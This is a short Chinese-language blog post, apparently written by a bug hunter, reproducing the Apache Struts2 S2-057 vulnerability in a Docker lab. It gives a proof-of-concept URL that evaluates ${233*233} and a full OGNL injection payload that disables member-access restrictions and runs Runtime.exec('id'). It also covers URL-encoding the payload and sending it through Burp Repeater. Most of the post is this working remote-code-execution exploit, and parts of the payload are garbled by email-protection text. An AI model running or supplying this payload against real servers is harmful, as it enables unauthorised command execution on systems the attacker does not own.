apache Struts2 s2-057復現
今天挖洞時遇見了個Struts2的漏洞,利用時才發現沒工具,決定復現一下,寫一下利用指令碼
docker搭建
訪問8080埠,進去是空白的
然後按照poc訪問,主頁是這樣的
驗證poc:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
中間的$%7B233*233%7D是${(233*233)}經過url編碼後的樣子
這個驗證要用*,不要用+,容易當成空格
成功執行
在Location那一欄回顯了計算結果
然後使用exp:
${ (#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
這個也要進行url編碼
不要用burpsuite自帶的,不然會把所有字母都進行編碼
替換中間的${(233*233)}
然後repeater執行
工具稍後再寫。。。